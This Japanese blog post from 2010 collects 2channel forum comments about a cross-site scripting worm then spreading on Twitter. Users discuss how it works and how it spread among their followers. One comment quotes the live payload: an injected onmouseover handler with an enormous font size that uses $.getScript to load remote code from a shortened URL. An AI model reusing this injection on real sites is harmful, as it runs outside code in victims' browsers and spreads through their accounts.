2017年05月 / 04月≪ 12345678910111213141516171819202122232425262728293031≫06月

--.--.-- (--)

スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
--:--  |  スポンサー広告

2010.09.21 (Tue)

twitterでXSS脆弱性発生

369 : 伊達巻(北海道) : [] 2010/09/21(火) 22:05:05.40 ID:78NYqiyZ0
ウイルスっつーよりブラクラ?

20 : 演出家(岡山県) : [sage] 2010/09/21(火) 20:57:10.05 ID:sD++XEJf0
369 名前:友達の友達の名無しさん[sage] 投稿日:2010/09/21(火) 20:46:56 ID:mxH+nvz80 [2/3]
取り敢えず犯人はこれなんだろうか(実物はt.coの前にhttpがあるけど省略)

t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl5d3')"/

で、これってどういう意味?

371 名前:友達の友達の名無しさん[] 投稿日:2010/09/21(火) 20:48:07 ID:wOsZ3dM8P [1/2]
>>369
マウスをのせるだけでフォントサイズ999999999999のツイートをしますってこと


21 : 歯科医師(関西地方) : [sage] 2010/09/21(火) 20:58:17.65 ID:6PM295IO0
>>20
なるほど、そういうことができるわけか。

61 : AV女優(神奈川県) : [sage] 2010/09/21(火) 21:11:58.90 ID:JPczlB5b0
>>20のツイートしてるフォロワーがいるんだけど
なに?こいつヤバいやつ?

240 : 落語家(愛知県) : [sage] 2010/09/21(火) 21:52:59.57 ID:Tzu9mMDs0
念のため,フォロワー全員に連絡ツイートしたわ(専ブラから)。

最初は,おれのフォロワーが>>20のツイートをしてきた。
そうしたらオレのブラウザ動作がおかしくなって,ログアウトする直前に,
オレの別のフォロワーが同じく>>20のツイートを流してきた。(ログアウトの
直前,オレがRTしてしまってた可能性があり,その人がそれを踏んでしまった
かもしれないんだよね…)

で,ログアウトして,専ブラから改めて「あなたのWeb上のTLは正常に
表示されていますか?」と連絡ツイート。フォロワー全員が海外の人なんだけど,
向こうはまだそれほど広がってないっぽい,が,念のためということで。

246 : カウンセラー(埼玉県) : [] 2010/09/21(火) 21:54:07.32 ID:KlEcrRVo0
>>20
最初これの巨大文字がずらーっとタテに出たわ
何なの?ただのJavaスクリプトのイタズラ?ウィルスじゃないよね?

267 : タンドリーチキン(アラバマ州) : [] 2010/09/21(火) 21:56:06.55 ID:X2t4Dnm80
>>20
この371は間違ったこと言ってる
999999999999pxのフォントサイズでonmouseover先のURL踏まそうとしてるんだろ
画面いっぱいに文字が出るから画面少しでも入ったらonmouseoverが実行される

309 : 落語家(愛知県) : [sage] 2010/09/21(火) 21:59:25.71 ID:Tzu9mMDs0
また一人フォロワーが>>20をRTしてきた…
その一つ前のツイートは正常だったから,別ルートで踏んでしまったかな??



元スレ: http://kamome.2ch.net/test/read.cgi/news/1285069734/
22:52  |  ニュース・2ちゃんねる  |  トラックバック(0)  |  コメント(0)

Comment

コメントを投稿する

Url
Comment
Pass  編集・削除するのに必要
Secret  管理者だけにコメントを表示  (非公開コメント投稿可能)
 

▲PageTop

Trackback

この記事のトラックバックURL

→http://res2chnews.blog130.fc2.com/tb.php/353-2a406998

この記事にトラックバックする(FC2ブログユーザー)

この記事へのトラックバック

▲PageTop

 | HOME | 
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。